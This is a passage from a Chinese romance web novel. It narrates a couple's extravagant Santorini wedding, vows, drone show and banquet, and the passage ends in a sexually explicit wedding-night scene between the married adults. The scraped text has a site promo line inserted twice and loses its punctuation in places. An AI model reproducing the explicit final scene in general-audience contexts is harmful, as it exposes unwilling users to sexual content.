裙身镶嵌着代表容微月生日的1208颗天然细钻,从胸口到裙摆犹如银河倾泻,裙摆长达十米,阳光落下的瞬间,整条婚纱会反射出如潮汐般冰蓝的微光,犹如海月升空。
从设计到用料,这件婚纱总造价高达两亿,代表傅蔺征对她极致的爱意,在容微月身上,把她衬得美到无与伦比。
她乌发如绸,红唇明艳,五官立体,肌肤白皙透亮,如今在傅蔺征几个月的娇养之下,更显丰腴,气色极好。
站在面朝大海的落地窗前,很快伴娘团们进来看到她大声惊呼:“妈呀,月月,你也太漂亮了!”
过了会儿父母还有弟弟也来了,容新旭激动:“姐,你今天真的美爆了!”
容微月弯眉,盛柳看着她,终于有了女儿要出嫁的感觉,不舍地红了眼眶:“今天月月要当新娘子了,时间过得太快了。”
容承业蹲下来给女儿整理裙摆,微哽:“月月真漂亮,晴晴要是在天上看到了,肯定也高兴。”
容微月鼻尖泛酸,弯起唇畔:
“姐姐会看到的。”
她相信姐姐会见证她的幸福,她也会替着姐姐,把她的那一份幸福活下来。
晴月阁的小伙伴们也陆续来和容微月道喜,以及练琴机构的蔡宁老师和几个玩得好的小伙伴,还有彭清时也来了。
他看到她,温润一笑:“微月,恭喜你和傅蔺征,看到你幸福,我真替你高兴。”
容微月含笑望他:“谢谢你,清时,你也要幸福啊,我也期待早日参加你的婚礼。”
化妆间里格外热闹,过了会儿有人探头进来:“新郎官来了!”
一时间,所有人的视线都转向门口。
只见傅蔺征走进来,一身黑金色的高级定制西装,由世界顶级的西装设计团队纯手工耗时两个月裁成,线条挺阔,精致妥帖,胸前的袖扣是容微月亲自制作的花丝工艺品。
傅蔺征逼近一米九的身材,拓落的身型如雕刻版挺拔,肩宽腰窄,面容如刀刻一般,下颌利
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落鼻梁高挺眼眸深邃炽热周身携着桀骜帅气的气场。
他慵懒低笑开口:“我老婆呢?她换好婚纱了么?”
大家知道他迫不及待笑着纷纷给他让位:
“你老婆在这儿呢!”
“今天新娘子好漂亮啊!!新郎官也好帅你俩这颜值太配了!”
傅蔺征的视线穿过人群定格在落地窗前——
阳光倾落容微月立于光中。
一袭流光溢彩的洁白婚纱纱裙铺展如海浪回眸朝他嫣然弯起唇畔。
虽然不是第一次看到她穿这条婚纱但此刻他还是被美到震撼。
傅蔺征胸腔里的心脏强烈跳动迈步进来到她面前黑眸灼热嗓音低沉:“宝宝你今天……真的特别特别漂亮。”
容微月脸颊泛红酒窝涌现傅蔺征一手搂她入怀看向周围的人吊儿郎当勾唇:“你们说我怎么怎么幸福啊有个这么好看的老婆呢。”
朋友们皆笑:
“傅蔺征!!太嘚瑟了啊!”
“你小子娶到微月就暗爽吧!”
“今天他新郎官让他明爽吧让我们说阿征你真幸福我们真羡慕你!!”
“哈哈哈哈……”
容微月和傅蔺征相视一笑说笑几句
傅蔺征一手温柔将她抱起另一只手理着她巨大的裙摆旁边的妆造师也帮忙容微月抱住他脖子:“太重了我自己走就行……”
“重什么重?你穿什么婚纱我都抱得动你。”
她眼睛弯弯被放到沙发上傅蔺征半蹲在她面前仰起眸眼底只装着她喉间发紧:“幻想过无数次这一天可我发现我的月月永远比我想象中还要美。”
她就是他心目中唯一最美的新娘。
容微月弯起唇畔傅蔺征拿了杯温水喂她喝看她咕嘟嘟吸着唇角晕开笑意:“怎么这么可爱的人是我老婆呢我傅蔺征这辈子真是顺风顺水人生赢家了。”
容微月灿烂弯眉:“傅蔺征你是夸我还是自夸呀……”
“当然是两个都夸。”
容微月也喂他喝水“今天你也好帅好帅你一出现我就看不到别人了。”
傅蔺征挑眉“怎么老子平时不这样?能娶你的起码要帅到这个程度吧。”
她忍不住笑杏眸柔光氤氲:“嗯毕竟我一开始看上你很大原因也是因为你的脸。”
“容微月没想到你也是个颜控啊?”
傅蔺征搂住她近在咫尺呼吸灼热交织她与他对视明白了什么心跳怦然羞然道:“不能亲等会儿
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
我口红白涂了。
“那什么时候可以?
“至少……至少等在婚礼上吧。
傅蔺征拖腔带调浑道:“行,那就等到掀开你头纱的时候再亲,亲个两三分钟。
她害羞嗔笑,“不行,那也太久了……
两人耳鬓厮磨,迟些时候婚礼策划师前来通知傅蔺征可以出发了,傅蔺征起身,在她额头落下一吻,“宝宝,等会儿见。
她莞尔应下。
傅蔺征离开后,她这边也拍了几组定妆照,妆造团队给她的造型做最后整理。
窗外天色由蓝慢慢转金,海风轻扬,夕阳洒下第一缕金光,圣托里尼岛的白墙蓝顶被慢慢浸染在暮色中。
宾客们陆续入席就坐,这一边,容微月也从酒店正式出发。
他们需要途径Oia小镇的石板路,到达婚礼的主舞台。
一路上,路面铺洒冰淇淋桔梗花瓣,顺着悬崖蜿蜒而下,宛如一条通往海天尽头的花之长廊。
忽而,一阵低沉如猛兽嘶鸣的咆哮声点燃空气,由远及近,高调炸耳,是为新娘开道的车阵。
最前方领头的,是银黑色的布加迪Centodieci于黑金色的布加迪ChironSuperSport300+,两辆价值近亿的典藏极超跑并肩驶来,车身线条锋利宛若利刃,格外张扬。
紧随其后,是柯尼塞格one:1和帕加尼Huayra,而后是红黑色的兰博基尼Veneno,法拉利LaFerrari、科尼赛克JeskoAbsolut等十几辆昂贵超跑接连亮相。
引擎咆哮声浪叠起,在圣托里尼的海崖间回荡。
全场轰动,最后压阵而来的,是两辆古董级劳斯莱斯幻影VI敞篷,古典的银白色车身铺洒花瓣,像一尊优雅的守护神。
世界顶级车展都没有的排场,此刻十余量顶级座驾首尾相接,轰鸣低沉,如同骑士只为护送着新娘的出场。
宾客们都被这场面震撼到,全体起身回头看去,就见车阵后方,一辆巨型的月亮露天花车缓缓驶来。
车身点缀水晶和各样鲜花,流光闪烁,在夕阳下格外梦幻。
花海中央,容微月一袭白色婚纱立于其上。
她头覆薄纱,手中一捧长垂花束,如从梦境中走来,十米的婚纱拖尾从车厢倾泻而下,流淌过花瓣铺成的道路,花童们簇拥在两侧,提着花篮扬洒花瓣,伴娘团与父母随行而来,脸上都带着笑容。
沿途的灯光随着花车前进依次亮起,一路通往悬崖上的婚礼舞台,温柔的海风
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静静吹拂,仿佛整个世界都被封存成一幅画,唯有这一段通往爱的路,光芒万丈。
夕阳
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铺开漫天霞光这是圣托里尼最黄金的地段普通人穷尽一生只为在此看一次日落而此刻它只为容微月一人。
婚礼舞台矗立于悬崖之巅西装革履的傅蔺征在夕阳下长身而立他目光落到那抹洁白的瞬间所有声音、所有人都褪去了吸引力。
世界只剩下他的新娘。
容微月含笑注视着他朝他缓缓而来傅蔺征黑眸炽热心脏如海浪剧烈翻腾。
花车抵达舞台容微月牵着父母的手下车缓缓走上舞台。
月亮弧形的舞台是透明的玻璃建成当初是傅蔺征和设计师共同设计从悬崖伸向海湾宛如一弯悬浮在半空的月盘夕阳余晖把玻璃染上一层金色仿佛他们站在潮汐之上。
在掌声和乐团演奏的音乐声中容微月一步步穿过白玫瑰拱门看向前方温柔注视她的傅蔺征杏眸发热盛满爱意。
她走到他面前手被他牢牢牵住。
音乐声渐停止夏斯礼走上台微笑看向宾客声音低沉而庄重:
“各位尊敬的来宾亲爱的家人、朋友们欢迎你们来到傅蔺征与容微月的婚礼。”
掌声响起如潮夏斯礼微微理了理西装感叹笑笑:“说实话我现在比他俩都紧张几天几夜都睡不好手心都是汗
台下笑声四起夏斯礼转头对上傅蔺征慵懒含笑的目光感慨:
“我和阿征从小长大说实话这人特别臭屁自恋有时候脾气还火爆挺招人烦的但是他是我最好的兄弟我看着他一路走过来无论是事业还是感情都特别不容易。”
傅蔺征微微垂眸容微月转眼看他眼眶微热。
夏斯礼继续说:“熟悉阿征和微月的朋友都知道他们中间分开了六年。
六年前阿征出了车祸差点就不在了后来他被抢救过来却和微月分手了那时候我就亲眼看着这个向来意气风发的大少爷从天堂瞬间跌入谷底那段时间他像是被关在黑暗的牢笼里整个人特别阴郁堕落哪怕后来他从颓废中重新站起来成了世界冠军在外人眼里仍旧是天之骄子、赛车界的传奇人物但我知道他从来没有真正快乐过因为他心底最重要那个人已经不在他的身边了。”
现场一片安静风从海上吹来吹起花瓣也吹湿了许多人的眼眶。
夏斯礼嗓音发哑:“整整六年他心里都装着微月我曾经也劝他去争去抢去把人追来但是感情不是比赛不是靠着速度和
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拼劲就能获得的,阿征不敢靠近,是因为他太喜欢微月了,他怕再一次错失。
可命中注定相爱的两个人,哪怕被时间隔开,也终会重逢,去年他们再度遇见了,重新走进彼此的世界,虽然时过境迁,万物更新,可他们之间的那份喜欢从十八岁那年初见到现在,从来没有变过。
夏斯礼也红了眼眶:“我不敢说我懂爱情,但是我在他们身上看到了爱情最美的样子,有人说破镜不能重圆,但他们用自己的故事证明了真爱不畏时间,不惧距离,只要心里一直有彼此,终有一天会再度牵手。
夏斯礼含笑擦掉眼尾的泪花:“今天,我替他们俩高兴,他们熬过了风浪,经过多重的考验,终于并肩站在了这里,他们配得上这世界上一切的!最好的!幸福!我相信,阿征和微月会一直甜蜜下去!真爱,永远能抵得过千难万险!
现场掌声轰然雷动,夏斯礼和傅蔺征拥抱,傅蔺征勾唇拍着他的肩,“谢谢。
夏斯礼是他最好的兄弟,也是他和微月爱情的见证人,这么多年,没有他,他也不会走到现在。
夏斯礼也笑着和容微月拥抱,随后他笑道:“我这个司仪太激动,忍不住多说了两句,我的发言结束了,接下来请大家把目光投向舞台中央,迎来我们最期待的环节——下面有请我们今天最重要的小嘉宾,呼呼小王子,为他们送上戒指!!
掌声和笑声中,众人转头望去,就见呼呼一身黑色小西装,白绒绒的蒲扇耳朵洒着花瓣,头顶那只戴着桃花的卡皮巴拉,背上驮着个首饰盒,摇着小尾巴,一步步朝容微月和傅蔺征快步跑去。
花瓣从空中洒落,灯光追随,小家伙像极了一位认真执行使命的小骑士。
呼呼被训练得格外听话,众人直呼好可爱,到俩人面前,它欢快地摇着尾巴,仿佛也在替结婚的爸爸妈妈开心。
容微月莞尔,傅蔺征俯身拿起戒指,揉揉它的头,笑:“傅呼呼,你今天真的很乖。
它是他们的宝贝,这么多年替容微月一直陪在傅蔺征身边,见证着帮助着爸爸一路把妈妈追回来。
而后呼呼被抱下舞台,傅蔺征打开戒指盒,取出那一对婚戒,容微月微笑,随后伸手拿出属于他的那一枚。
容微月抬眸望向眼前的人,唇畔弯起,轻柔声音透过话筒,清晰传入每一个人耳中:
“傅蔺征,本来今天的结婚誓词你想先说,但是我要求我先来,从我们相识到今天,每一步都是你先走向我,所以今天,让我先主动一次。
傅蔺征握住她的手,眼底泛着光。
容微月看着他,笑意带了点颤:“其实我一直没有告诉你,我对
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你也是一见钟情。”
她的声音,把他的记忆引回六年前。
“高三那年开学前的夏日音乐会,那晚在操场草坪上,我看到你举起手机,吊儿郎当地把自己的微信二维码晒在大屏幕上,笑得格外招摇,我心想这人真骚包,但在那一刻,其实我一直看着你,心脏跳得好快,后来那晚下雨,你捡到了我的班牌,拉住了我还递给我一把雨伞,我没想到你就这样闯进我的世界。”
她轻笑:“你太特别了,像一道突然闯进我生活的一道白色强光,我觉得你臭屁,却忍不住偷看你在校门口和别的女生说话;我嘴上说讨厌你,可是你每次靠近我,我的眼神就被你吸引;你每天不在校门口堵我的时候,我还会觉得有点小失落。
那时候的我还不懂,这种感觉叫做喜欢。”
她眼底荡漾着光,睫毛微微颤抖。
“我不知道那是一见钟情的感觉,我感受到了一股不由自主的强烈的吸引力,我一开始是抗拒的,我觉得我们太不同了,不是一个世界的人,所以我拼命在心底筑起防御机制,告诉我自己‘讨厌你’、‘拒绝你’,可那不过是另一种形式的在意罢了。”
喜欢的对立面不是讨厌,而是不喜欢。
如果傅蔺征在她这里不特殊,她一开始就不会那么关注他,又在得知他和朋友们的赌约后如此生气。
“傅蔺征,遇到你,是我人生中第一次明白什么叫喜欢。”
她含笑看向眼前的男人,眸光温热:“你从一开始就坚定地走向我,锲而不舍,才让我没有错过这一生中最重要的人,傅蔺征,因为有你才有我们的爱情,不管是六年前还是现在,是你的勇气和坚守,才可以让我们站在这里。”
傅蔺征看着她,黑眸熏烫。
容微月笑着,泪水却落下来:
“阿征,谢谢你从来不看我的家世和背景,一直坚定而炽**爱着我;
谢谢你在分手后以我们的名义在澜高建了征月和潮汐楼;
谢谢你在你二十岁的时候为我定制了婚戒和海边别墅;
谢谢你重逢后偷偷为我买房子,保护我,为我撑腰,一步步牵引着我走向你;
谢谢你从来没有计较过去我对你的伤害,坚定地拥抱我。”
“在这个世界上,如果我坠落一百次,你永远会打捞我一百零一次,是你教会了我爱与被爱,曾经在感情里我是个胆小鬼,但还好,我遇到了你,因为你,我才变得不一样。”
容微月落下眼泪,含笑哽咽:
“傅蔺征,我的小哭包,大狗狗,周到先生,我最温暖的避风港,最坚定的后盾,也是我生命中最重要的一部分。
我不知道我该怎么回馈
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第 67 章 “新婚夜你不许太凶……”...
第67章第六十七章
【“新婚夜你不许太凶……”】
chapter67
傅蔺征俯身拥吻容微月的这一刻夕阳正盛灿烂的金光铺满圣托里尼岛悬崖上的婚礼平台。
成千上万的彩色气球和漫天的橙粉色晚霞融为一体天地辽阔山海浪漫。
掌声和欢呼声交织晚风和浪花共舞如同靠近相依的两颗心怦然跳动满了爱意。
几秒后容微月被吻得呼吸微乱脸颊酡红轻轻推开傅蔺征耳畔满是起哄声她嗓音软糯羞赧:“别亲了……”
傅蔺征手臂一紧掌心仍扣着她的腰低笑出声黑眸灼灼:“还没亲够。”
舞台侧方夏斯礼听到这话举着话筒笑道:“各位宾客听到了吗新郎说还没亲够这是有多爱新娘啊!!要不要让他们再亲个五分钟?!”
台下沸腾起哄:
“再亲一个没看够!!”
“男帅女美多亲!好看爱看哈哈哈!”
容微月精致如瓷的白皙脸颊染了嫣红羞得不行傅蔺征勾唇吊儿郎当把她圈在怀中对宾客道:
“不好意思啊我太太比较害羞今晚我们洞房花烛夜再慢慢亲不让大家看了。”
全场笑声一片而后婚礼仪式也到了最后一个环节所有的嘉宾上台与新人合影。
无人机缓缓升空从高空俯拍夕阳如金海浪似银傅蔺笔挺拓落的黑色西装乌发朗眉帅得难掩桀骜他一手抱着呼呼一手揽住容微月女人的婚纱泛着细碎的光十米拖尾裙摆铺成一片浩瀚银河。
她弯眉靠在傅蔺征怀中傅蔺征垂眼看她眼底满了缱绻和笑意。
镜头中他们身旁站着傅老爷子、双方父母一群好朋友还有晴月阁的小伙伴傅蔺征的车队成员昔日的同学老师等等所有爱他们的人将他们包围。
曾经八人小组登山游玩那次从缆车下来容微月和傅蔺征正好在夕阳下合照了一张那时谁都没想到未来某一天他们会在圣托里尼的漫天落日晚霞下以先生和太太的名义再次拍下属于他们的婚礼照。
那时候的照片里只有他们两人如今身边却添了这么多人他们相信不管未来发生什么他们都有彼此也有这些珍贵的陪伴。
-
傍晚主仪式结束火山湾的海面散开最后一抹余晖天空从紫粉转为深邃的靛蓝色。
夕阳落幕
悬崖和海面如被洒上一层银光圣托里尼岛上亮起万千灯火白房蓝顶和天边的星辰交相辉映。
所有的宾客们从月亮舞
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台被接驳到悬崖另一侧的露天花园今晚的晚宴就在这里举行。
从荷兰、厄瓜多尔、普罗旺斯等世界各地空运而来百万成本的鲜花装点布置着香气馥郁世界名厨掌勺料理一旁演奏的交响乐团也是世界驰名到处都透露着昂贵无人不能看出傅容两家对这场婚礼的重视。
在万众期待中傅蔺征牵着容微月再度登场——
只见容微月一身靛蓝色渐变鱼尾礼裙也是千万级别手工定制胸口嵌满细钻细腰被衬得不盈一握后背线条优雅不规则裙子前短后长露出纤如藕根的长腿拖尾裙摆如潮汐流动。
女人肌肤如雪红唇齿白一双秋水瞳眸如星星坠落随着她步伐裙摆上覆着的极薄银纱和钻石在夜空下粼粼泛光。
傅蔺征帮她提着裙摆也是相同色系的燕尾服身姿挺拔
这夫妇俩的颜值也太权威了吧!!!
在掌声中他们走到舞台中间随着音乐跳起FirstDance。
容微月裙摆旋转如星辉交织傅蔺征低头注视她眉眼温柔到极致。
当一曲结束四周掌声雷动晚宴也正式开启。
到了晚上八点明月升到夜空最高处潮水翻起也迎来了晚宴的特别环节。
这是傅蔺征瞒着容微月准备的惊喜他牵着她走到观景平台漆黑的夜空升起五千两百架无人机星星点点的灯亮起分散汇聚画面里雨夜中一个少年站少女面前为她撑伞手中递去一个班牌。
容微月怔了怔眼睛亮起:“这是我们初遇那一天……”
高三那一年的八月三十一号澜高夏日音乐会的晚上她在雨中跑去公交车站丢下的班牌被傅蔺征捡到他追上来从此以后他们的命运就开始产生交集。
傅蔺征勾唇从背后把她圈在怀中含笑声音落在她耳畔:“那天我还叫了你三次你都不回头故意的?”
没想到这人还记得呢她眼睛弯弯靠在他胸膛:“谁叫你当时又臭屁又拽身边一大堆女孩子围着转我不知道你什么目的才不搭理你呢。”
男人笑着捏捏她的脸“容微月你有没有点良心老子当时是纯热心乐于助人你就这么想我?”
她扭头含笑看他:“真是纯热心吗?”
他把她圏紧薄热气息洒落在她耳畔:“当然有热心但更多的是觉得你好漂亮漂亮到我看着你心脏就疯狂跳动其他人我都不感兴趣了只想靠近你认识你。”
其实在超市他就注意到她了发现她在偷听他讲话当时看过去她还敢明晃晃和他对视一张漂亮的脸清冷又明艳
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,像只高贵的小猫咪,他一眼就被击中了。
看到她的第一眼,他就知道他们之间肯定有和别人不一样的故事。
就算没有,他也要创造故事。
容微月面颊泛红,酒窝酿成小圆子:“那我好像在操场就关注你了。”
傅蔺征挑眉,“谁当初还各种跟我口是心非啊?装的还挺像,我就说我这种全方面都那么完美的能有人不喜欢?”
“自恋……”
她笑着抱住傅蔺征圈住她的臂膀,“不过谢谢你那个晚上愿意拉住我,如果我们没有遇见,可能也没有今天了。”
他揉揉她的头,“谁说的?就算没有那晚,我们还有千万种产生交集的方式,何况咱们俩同班同学,命中注定要在一起,缘分怎样都拆不掉,不是么?”
她眼眸晶莹亮起点头。
就像月亮和潮汐,永有万有引力。
天空中的无人机变换着队伍,而后就拼凑出两人两人在班里并肩而坐的剪影。
有段时间,他们成为了同桌,傅蔺征会在早晨给她带热气腾腾的早餐,上课趁老师转身时偷偷揪她的马尾辫,写小纸条逗她,也会在她趴桌子发呆时,帮她抄完整页笔记,和她一起研究数学题。
她生理期不舒服的时候,他会给她泡红糖水,抽屉里永远放着感冒药、过敏药和她喜欢喝的青橘气泡水。
她的少年就如当时窗外夏日午后的香樟树,炽热、温柔又纯粹,温暖了她的整个青春。
无人机的光影再次流转,再往后的画面,是她在琴房拉琴、他在门口静静守着;她十八岁生日那晚,他从国外赶回来,逆着风雪朝她走来;毕业那年夏天,他们笑着拍下毕业照;而后还有那场暴雨中,他们分手,轰轰烈烈,又如昙花一现。
许多宾客们看着,也身临其境被带到这个故事中,感受到他们一路的悲欢离合。
容微月鼻尖泛酸:“还好我们的故事不是到这里就停止了……”
傅蔺征黑眸泛热,低声回应:“还好,六年过去我们还相爱。”
无人机如同星海流动,带着时光横跨过六年,他们又在一个雨夜重逢,傅蔺征压抑着怦然跳动的心一点点走近她,在她难过受欺负的时候保护她,带她住进温暖的房子,为她点起月亮小夜灯,而后一只白色小狗出现,扑进容微月的怀中,她脸上的笑容也越来越多。
从他赶回国参加那场同学婚礼与她重逢开始,他就下定决心——
无论再难,都要重新走进她的世界。
既然这辈子注定放不下,那就死缠到底。
所幸,他所有的付出都不是白费的,无人机拼出她追去机场找他的画面,那是傅蔺征永生难忘的瞬间。
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航站大厅里,她仰头坚定地看他,问他愿不愿意和她结婚。
他们都用勇敢,收获了爱情的果实。
随着最后的音乐响起,五千两百架无人机在夜空中组成了最终的图案,是一对相依的婚戒,戒指之上,是一轮与天际相映的满月;戒指之下,是翻滚的潮汐,永不止息。
而此刻,天边那轮真实的满月高悬于天,圣托里尼岛的海水也涨起拍击岸边,宛若遥遥相望,天地相应。
无人机拼出闪烁的字:
【望月心动,即是潮汐。
新婚快乐,我爱你,我的公主。——傅蔺征】
望月,既是他每次望向她,也是指每月十五的满月,日潮为潮,夜潮为汐,他对她日日夜夜,朝思暮想,永爱不息。
她弯起唇畔,转身钻入他怀中,傅蔺征俯身落下温柔深情的吻。
夜空中的无人机缓缓退下,取而代之的是漫天烟火绽放。
璀璨的焰火从悬崖外的海面升起,一瞬间,整个圣托里尼岛都被笼罩在梦幻的彩色光晕里。
一吻结束,她靠在他怀中,洇洇的眸光被烟火映得明亮如星:
“感觉今天我是全世界最幸福的公主。”
傅蔺征勾唇,和她两额相抵:“希望我的公主未来的每一天,都能这样幸福。”
没有烦恼,毫无忧愁,事事顺遂,快乐无虞。
在烟花下,傅蔺征拿出手机,搂住她拍下一张合照,发在了微博:
【拿到世界冠军不是最高荣誉,娶到你才是@容微月。】
——从十八岁到现在,她是初恋,也是此生唯一所恋。
与此同时,也有许多宾客和媒体把部分婚礼的画面晒到网上,国内很多网友也一同见证了这场造价十五亿的顶级婚礼:
【娶到她才是最高荣誉,啊啊啊这话我哭了,她对他来说是比名誉地位更重要的存在啊。】
【磕疯了!!我心目中的王子和公主幸福地生活在一起了,征月99!】
【想象不来的有钱程度,傅蔺征真宠妻狂魔,不愧是从高中喜欢到现在的人。】
【结婚誓词那段我听哭了,他们走来一路好不容易,但真的都好真诚啊,只有真心能收获爱情,看惯了太多逢场作戏因利结合,他俩太真了。】
【娱乐圈的假cp已经磕不动了,还得磕真的,征月要幸福一辈子啊。】
许多网友送上祝福,而现实中也是祝福满满。
随后傅蔺征与容微月挨桌敬酒,班里同学和老师格外激动,说终于等来了这一天,尤其是班主任,一直看好他们,如今见他们结婚也觉得心满意足。
还有徐成光和他妻子也来了,徐成光笑骂:“傅蔺征,亏我当初
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还以为你是为了我婚礼才从国外赶回来的敢情你是为了回来见老婆啊!太伤心了!”
傅蔺征笑和他碰杯:“我和月月要感谢你们。”
徐成光的妻子莞尔:“我还记得当时傅蔺征在婚礼上中奖了个带桃花的卡皮巴拉我还说这是招桃花的果然很准没多久你们就结婚了呢。”
傅蔺征和容微月相视一笑当时说招桃花原来桃花就在他的对面。
一场晚宴下来觥筹交错氛围热闹又甜蜜傅蔺征和容微月被起哄着喝酒但基本都是傅蔺征替她挡酒。
有人打趣:“你们几个别再灌阿征了啊今晚洞房花烛夜你让他到时候醉得不省人事还怎么入洞房!”
“哈哈哈对啊阿征都说了回去要继续亲!”
朋友们笑成一团夏斯礼轻啧:“你们一个个太小瞧阿征了啊他千杯不醉从小到大我就没喝趴过他你们没那能耐!”
“那高低得试试!还不信了!”
傅蔺征笑着作势踹夏斯礼一脚:“你少煽风点火用激将法坑我是吧?”
“哪里啊我这是想看你英雄救美!”
晚宴后朋友们又攀谈了会儿而后玩得最好的几人跟去了悬崖顶的别墅美名其曰参观参观他们的婚房实际上就是来“捣乱”的。
夏斯礼说今晚高低不能便宜傅蔺征了和付则承、湖安还给他出了几道花式小考题沙发上贺行屿搂着霓音在旁边淡笑看着傅蔺征都想把这群人轰出去。
殷绿笑得不行劝道:“行了
湖安顺着道:“今宵一刻值千金我们还是放过阿征吧。”
夏斯礼:“好你个湖安刚才那么多问题不是你问的?这会儿立刻妇唱夫随啊!”
殷绿笑着钻入湖安怀中娇声回道:“那当然我老公当然得帮我说话不然他还想不想办婚礼了?”
上个月湖安也求婚成功了他们的婚礼在七月底。
夏斯礼揶揄:“阿征早就领证了了才不差这一晚贺行屿你说对不对?”
贺行屿对上傅蔺征压过来的目光轻咳一声压平唇角:“音音在我对大舅哥不敢忤逆。”
“贺行屿你也是个老婆脑!”
几人笑傅蔺征坐在沙发上姿态懒散嘴角微挑一手搂住容微月把她往怀里带了带嗓音低哑:“宝宝你看他们都影响我们二人世界了你不打算管管么?”
大家直呼受不了容微月笑眸亮亮软声求饶:“夏斯礼你放过阿征吧好不好?他都累一天了我心疼了。”
夏斯礼捶胸顿足:“微月你一说这话
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
我都下不去手了!你这是被傅蔺征蒙蔽了啊!”
霓音靠在贺行屿身旁,笑意妍妍:“我哥确实不容易,主要我嫂嫂也累了一天,还是别折腾我嫂嫂了,让她好好休息休息。”
夏千棠淡笑接话:“想太多了,难道我们走后,傅蔺征不会折腾?”
“哈哈哈哈!”
全场笑翻,付则承含笑提醒:“阿征你注意点,别明天又叫我来看病了。”
这黑历史提一次笑一次,殷绿忙捂住付筱盈的耳朵:“小朋友还在呢,不能乱说话!”
付筱盈笑笑:“我没听懂啊,真没听懂。”
车轱辘碾过脸颊,容微月脸都红透了,夏斯礼挤眉弄眼:“行了行了,我也心疼微月,咱们撤吧,还是让微月尽可能早点休息哈哈哈。”
大家也没真想打扰他们,见好就收,傅蔺征和容微月送他们出门,正巧双方父母、傅老爷子、贺老爷子和容新旭也回来了,今晚他们都住在悬崖景色最好的大别墅,这里一共四楼,最顶楼是傅蔺征和容微月的婚房。
傅老爷子看着一屋子的年轻人,笑着问:“你们闹完洞房了?”
“闹完了爷爷!”
夏斯礼笑:“爷爷,今晚的结束了,我们明天早晨再来闹。”
傅蔺征扯唇:“给我滚。”
大家笑着乌泱泱离开,霓音和贺行屿陪着长辈们一行人进去客厅,大家还交谈甚欢,一整天他们没什么事,也很悠闲,此刻要继续喝茶聊天。
几人知道容微月和傅蔺征也辛苦了,尤其是容微月,霓映枝温柔道:“月月,阿征,你们赶紧先上楼休息。”
“对,明早不需要敬早茶,你们两个孩子睡到自然醒。”傅司盛柔声道。
容微月乖巧应下,和长辈们道别。
刚走出众人视野,傅蔺征就把她打横抱起,她脸红压住叫声,连忙抱着他脖子,压低声音嗔他:“傅蔺征,你要不要这么着急……”
男人眼底笑意深邃,语气一本正经:“我哪儿着急了?”
他挑眉,语气低缓贴在她耳边:“我是怕你一天下来腿走酸了才抱你,你想哪儿去了?”
她羞鼓鼓,故意要下来,“才不要你抱呢……”
傅蔺征往楼上走,收紧臂弯,牢牢锢着她:“就你这点力气,还想下来?”
任由小猫咪怎么扑动,根本动弹不了一点,她力气在他面前根本比不了,就像每次他掐住她腰撞的时候,像是被钉住一样。
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傅蔺征胸膛的热意透过衣料传来,她整颗心都温热笼住,她羞得要咬他,傅蔺征压低声音:“宝宝,你再乱动的话,我可真要着急了。”
这人……
她只好乖乖缩在他怀中,进入四楼的卧
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室,里头是个蓝白风格的海景房,270度的落地窗将火山湾的海水和天边的月亮一览入眼,海浪声如温柔的夜曲。
房间视野的最中心是张大床,上面撒着淡粉的桃子酒花瓣,面前的白色纱帘随风摇曳,空气里弥漫着甜丝丝的香气。
容微月被放到床上,傅蔺征给她倒了杯温水,半蹲在她面前,抬眸看她:
“宝贝,终于告诉全世界,我娶到你了。”
容微月笑,和他戴着婚戒的手指相扣:“我也终于告诉全世界,我嫁给你了。”
傅蔺征倾身,箍住她的下巴吻上来,容微月被他的气息完全笼住,后背微微后仰,整个人很快被压进柔软的被褥中。
男人的身影倾笼而来,宽阔的肩背遮去顶光,整个人像一堵墙牢牢将她困在怀中,背部潮汐刺青下的肌肉鼓绷蓬起,张力拉满。
容微月指尖抵着他硬朗的胸膛,气息断断续续缱绻交换,傅蔺征指腹挲着她软乎乎的脸颊,黑眸虎视眈眈:“有没有喝醉?”
她摇摇头,细音甜糯:“其实明明我能喝的,你干嘛帮我挡了那么多……”
“就你那酒量还嘚瑟?”
他咬她耳垂,“老子要不帮你挡,万一你醉了回来倒头就睡,我们还怎么入洞房?”
原来这人的目的是这个啊……
她葱白指尖拨弄他衬衫领口,眼眸狡黠:“那你喝了那么多,不会受影响吗?”
傅蔺征黑眸炽炽:“那你检查一下,看看我的**还能不能举起来?”
她面颊泛起红晕,骨子里的媚透出来,声音轻软:“用哪里检查?检查方式有很多。”
她真的勾**,傅蔺征手背青色血管鼓绷,烧热的掌心游走蝴蝶骨,嗓音沉哑:“宝宝,都用过去好不好?”
她羞,“那我要好累了……”
“累也没办法,昨晚老子和你怎么说来着?快一周了都没吃,今晚起码要大半盒。”
容微月真要害怕了:“原来白天不是最累的,最累是晚上……”
傅蔺征勾起唇角,说让她尽量少出点力,他伺候她,容微月傲娇道:“那你抱我去卸妆,我还没卸妆呢……”
男人抱她起来,卸完妆,褪下礼服,而后俯身急燎地把她打横抱起,走去浴室。
浴缸里,黑痣在小月亮门口徘徊,推门进去又出来,傅蔺征吻得很凶,容微月坐在他怀中,像只被烤化的蛋挞。
光影折射,浴缸涟漪四起。
“老公呜呜呜……”
在场外模拟实验,她脸颊如染了层枫叶,眼尾冒出泪花,傅蔺征声音哑然,浑坏问:“怎么了?”
她心跳跟泡腾片扔进水中一般,娇滴滴嗫嚅:“要、要吞下去了……
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”
“在水里真的好滑啊宝宝。”
他吻着她下巴和红唇气息薄热:“迟点我们再浴缸里玩一次嗯?”
唔……
那她一定会快乐死的……
雾气弥漫水珠顺着玻璃滑落空气中交织着暖香与海盐的气息。
过了会儿傅蔺征抱着她起身踩在浴缸外的地毯伸手拿起浴巾为她包上。
房间外传来远处海和风的声音卧室的灯光一点点变得柔和纱帘在夜风中轻轻摇曳。
而后容微月跌入桃子酒花瓣海中。
傅蔺征俯首称臣点亮一片皎洁洇润月光。
温柔爱意中
直至她哭出来又催逼男人拿了她最喜欢的那款把她拽入怀中容微月看他手滑着几次都撕不开脸都黑了她脸红又想笑:“傅蔺征你别那么急……”
男人气息沉沉:“老子都要炸了你说我不急?”
他干脆一把咬开把她锢住小猫咪感觉掉入斗兽场眼圈红红娇气道:“坏狗狗你不许太凶……”
他啄她鼻尖“宝宝没办法温柔不了。”
他会让她一辈子都记住这个新婚夜的。
月亮倾下皎洁月光和潮汐完美糅合。
男人携着六年的爱意吻铺天盖地落下。
咚咚咚——
地震响起容微月感觉地动山摇紧紧圈住他:“傅蔺征楼下会听到……”
他看着怀中的粉兔子:“他们都回去休息了能听到什么?我之前特意确认过这边隔音很好。”
唔……
